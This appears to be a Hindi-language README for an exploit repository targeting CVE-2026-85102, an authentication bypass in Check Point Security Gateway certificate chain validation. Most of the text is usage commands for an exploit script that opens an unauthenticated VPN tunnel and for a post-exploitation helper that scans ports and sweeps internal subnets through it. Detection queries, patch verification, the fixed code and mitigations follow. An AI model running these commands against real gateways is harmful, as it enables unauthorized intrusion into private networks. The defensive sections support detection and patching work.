aduli198/cve-2026-85102रिमोट एक्सेस और साइट-टू-साइट VPN में प्रमाणीकरण बायपास और रिमोट कोड निष्पादन
IKE प्रमाणपत्र श्रृंखला सत्यापन को बायपास करके Check Point Security Gateway पर अनधिप्रमाणित VPN टनल स्थापित करने के लिए CVE-2026-85102 का शोषण करता है।
आधिकारिक Check Point सलाह: sk1000117
उत्पाद: Check Point Security Gateway, Check Point Spark Firewall
प्रभावित संस्करण: R81.20, R82, R82.10 (pre-Bundle T24), R80-R81.10 (सभी EoS)
अप्रभावित: R82.20
घटक: libcpcert.so — fwKeyHolder_imp::IsChainTrusted()
मूल कारण: IsChainTrusted() CanonizeChain() को कॉल करता है लेकिन उसके रिटर्न मान को अनदेखा करता है। श्रृंखला विहितीकरण विफल होने पर भी, फ़ंक्शन TRUSTED लौटाता है।
शोषण: एक हमलावर यह कर सकता है:
CanonizeChain() विफलता को ट्रिगर करने के लिए ICA प्रमाणपत्र हस्ताक्षर को भ्रष्ट करेंCVE-2026-85102.py # CVE-2026-85102: VPN tunnel establishment (auth bypass)
cp_postex.py # Post-exploitation helper (tunnel management, recon)
pip install cryptographyopenssl, iproute2 (ip कमांड), nc (netcat)testuser)# Establish tunnel with certificate bypass
sudo python3 CVE-2026-85102.py<target_ip> -u <vpn_username>
# Output includes Office Mode IP, e.g., 172.16.10.3
# Clean up tunnel
sudo python3 CVE-2026-85102.py--cleanup
# Establish tunnel and save state
sudo python3 cp_postex.py tunnel up <target_ip> -u <vpn_username>
# Check tunnel status
sudo python3 cp_postex.py tunnel status
# Scan gateway ports through tunnel
sudo python3 cp_postex.py recon scan
sudo python3 cp_postex.py recon scan -p 80,443,18190-18208
# Sweep internal networks through tunnel
sudo python3 cp_postex.py recon sweep 192.168.1.0/24
sudo python3 cp_postex.py recon sweep 192.168.1.0/24 -p 22
# Tear down tunnel
sudo python3 cp_postex.py tunnel down
sudo python3 cp_postex.py tunnel down -f # Flush all xfrm state
| पैरामीटर | विवरण |
|---|---|
<target_ip> | Check Point गेटवे IP |
-u <username> | VPN उपयोगकर्ता नाम (डिफ़ॉल्ट: testuser) |
-l <local_ip> | मल्टी-इंटरफ़ेस सिस्टम के लिए मैन्युअल स्थानीय IP |
-c <cert_host> | ICA प्रमाणपत्र निष्कर्षण के लिए वैकल्पिक होस्ट |
--cleanup | टनल कॉन्फ़िगरेशन हटाएँ |
असामान्य प्रमाणपत्र-आधारित Mobile Access लॉगिन के लिए लॉग की समीक्षा करें। SmartConsole/Spark Management में, Logs & Monitor / Logs & Events पर जाएँ और 12 सितंबर, 2026 के बाद की घटनाओं को खोजें:
product: "Mobile Access" AND action: "Log In" AND "Certificate"
अपरिचित उपयोगकर्ताओं, क्लाइंट्स या स्रोत IP पतों के लिए इवेंट्स का निरीक्षण करें।
संदिग्ध प्रमाणपत्र विषय देखे गए:
CN=vpn,OU=users,O=globalCN=vpn-user,OU=users,O=globalCN=vpnuser,OU=users,O=globalLivePatch Take 26 (BUNDLE_URGENT_SECURITY_UPDATE) इंस्टॉल करें:
इंस्टॉलेशन सत्यापित करें:
# Check LivePatch status
cplp list
# Expected output includes:
# cpcert:cpca* CVE-2026-85102 CVE-2026-85103
# cpcert:iked* CVE-2026-85102 CVE-2026-85103
# cpcert:vpn* CVE-2026-85102 CVE-2026-85103
# cpcert:vpnrad* CVE-2026-85102 CVE-2026-85103
# cpcert_cprid:cprid* CVE-2026-85102 CVE-2026-85103
यह फ़िक्स libcpcert.so को संशोधित करता है:
// IsChainTrusted: Check CanonizeChain return value
result = CanonizeChain(this, trusted_ca, sorted, out, i, trust_type);
if (!result) {
trusted_ca = NULL;
}
return trusted_ca;
// CanonizeChain: Check intermediate operation returns
if (!CopyChain(...)) return NULL;
if (!TruncateChain(...)) return NULL;
निहित VPN नियमों को अक्षम करें और विशिष्ट पीयर IP पतों के लिए UDP/500 और UDP/4500 हेतु VPN पहुँच को मैन्युअल रूप से परिभाषित करें। देखें sk179346।
रिमोट एक्सेस VPN के निहित नियमों को अक्षम करें। सुरक्षा गेटवे के लिए आवश्यक रिमोट एक्सेस VPN सेवाओं की अनुमति देने वाले स्पष्ट एक्सेस कंट्रोल नियम बनाएँ:
नोट: ये शमन उपाय स्थानीय रूप से प्रबंधित Spark फ़ायरवॉल पर लागू नहीं होते।
यह एक्सप्लॉइट कोड सुरक्षा अनुसंधान और परीक्षण उद्देश्यों के लिए प्रदान किया गया है। इसका उपयोग अपने स्वयं के सिस्टम पर या सिस्टम के स्वामी की स्पष्ट अनुमति से करें।